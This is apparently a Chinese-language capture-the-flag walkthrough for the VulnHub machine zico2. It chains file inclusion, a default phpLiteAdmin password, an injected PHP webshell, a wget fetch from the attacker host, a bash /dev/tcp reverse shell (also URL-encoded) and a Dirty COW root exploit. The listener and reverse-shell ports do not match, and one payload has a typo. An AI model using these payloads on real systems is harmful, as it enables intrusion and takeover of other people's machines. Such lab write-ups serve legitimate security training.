靶机下载地址:https://download.vulnhub.com/zico/zico2.ova
环境:
靶机:zico2 网络连接方式:桥接模式 192.168.0.110
攻击机:kali 网络连接方式:桥接模式 192.168.0.111
1、信息收集
1.1、确认IP
nmap扫描确认主机存活,确认靶机IP:192.168.0.110
nmap -sn 192.168.0.1/24
1.2、扫描端口和服务
nmap -p- -A 192.168.0.110
收集到的信息如下:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA) | 2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA) |_ 256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Zico's Shop 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 41660/tcp6 status | 100024 1 51932/tcp status | 100024 1 53421/udp status |_ 100024 1 55708/udp6 status 51932/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:98:69:CA (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X|3.X OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 OS details: Linux 2.6.32 - 3.5 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
可能的思路:ssh爆破,web漏洞,Linux内核提权
1.3、访问http服务
访问80端口
找到以下页面
http://192.168.0.110/view.php?page=tools.html
看到page=tools.html,想到尝试文件包含,发现可以查看/etc/passwd,但尝试利用php伪协议读取view.php源码失败
http://192.168.0.110/view.php?page=../../etc/passwd
1.4、扫目录
dirb扫描目录
dirb http://192.168.0.110/ /usr/share/dirb/wordlists/big.txt -w
/LICENSE /index /dbadmin/ /cgi-bin/ /tools /view /package /server-status /css/ /css/creative /img/ /img/header /img/portfolio/ /img/portfolio/thumbnails/ /img/portfolio/thumbnails/1 /img/portfolio/thumbnails/2 /img/portfolio/thumbnails/3 /img/portfolio/thumbnails/4 /img/portfolio/thumbnails/5 /img/portfolio/thumbnails/6 /js/ /js/creative /vendor/ /vendor/jquery/ /vendor/jquery/jquery
访问扫描出来的目录结果,发现/dbadmin/目录可能是突破口
2、找web漏洞
2.1、phpLiteAdmin
访问/dbadmin/目录,找到一个test_db.php文件,访问后发现是phpLiteAdmin v1.9.3的登陆页
无需用户名,直接输入密码,尝试admin,登陆成功了。。。
点击左下方info,发现有两个账户信息root和zico
去somd5查下密码,分别是34kroot34和zico2215@
2.2、拿shell
百度了下phpLiteAdmin漏洞,发现<=1.9.3可能有代码执行漏洞,首先创建一个test.php的数据库
然后新建一个名为a的表,1列,字段1,值为
<?php @eval($_POST[x);?>
创建成功,如下图
结合之前的文件包含漏洞,访问
http://192.168.0.110/view.php?page=../../usr/databases/test.php
发现可以正常访问
尝试执行命令,发现可以执行whoami
尝试通过执行命令来直接反弹shell,并没有反弹成功,直接搞个新的shell文件好了
开启kali的apache服务,在kali网站目录下写个shell.txt的文件,内容如下:
<?php @system($_POST[x]);?>
通过执行wget命令将该文件下载到靶机中,发现不能直接下载到网站根目录
通过x=system('ls -lah ../'); 查看网站根目录权限,发现没有写入权限
通过x=system('ls -lah');查看当前目录下的子目录,发现多个目录权限都比较高,比如img目录
通过wget命令将kali的shell.txt文件下载到img目录下
x=system('wget http://192.168.0.111/shell.txt -O ./img/shell.php');
访问shell.php,发现写入成功,且可以执行命令
kali监听端口
nc -lvvp 9999
执行以下命令反弹shell
echo "bash -i >& /dev/tcp/192.168.0.111/7777 0>&1"|bash
先进行url编码,再执行
%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%30%2e%31%31%31%2f%37%37%37%37%20%30%3e%26%31%22%7c%62%61%73%68
成功反弹shell
3、提权
收集信息得到的Linux版本为2.6.32-3.5,尝试脏牛提权,下载dirty.c文件放到kali网站根目录,通过wget命令下载到靶机
wget http://192.168.0.111/dirty.c
执行以下命令编译dirty.c文件:
gcc -pthread dirty.c -o dirty -lcrypt
执行./dirty然后手动设置密码为root,发现当前shell失效,不过没关系
使用用户名firefart,密码root直接登陆靶机,发现登陆成功,权限为root
4、总结
到这其实已经通关,不过后来发现该靶机还有其他几种通关方式,比如通过tar提权、zip提权或者find提权,玩法还是比较多的,大家可以玩玩看~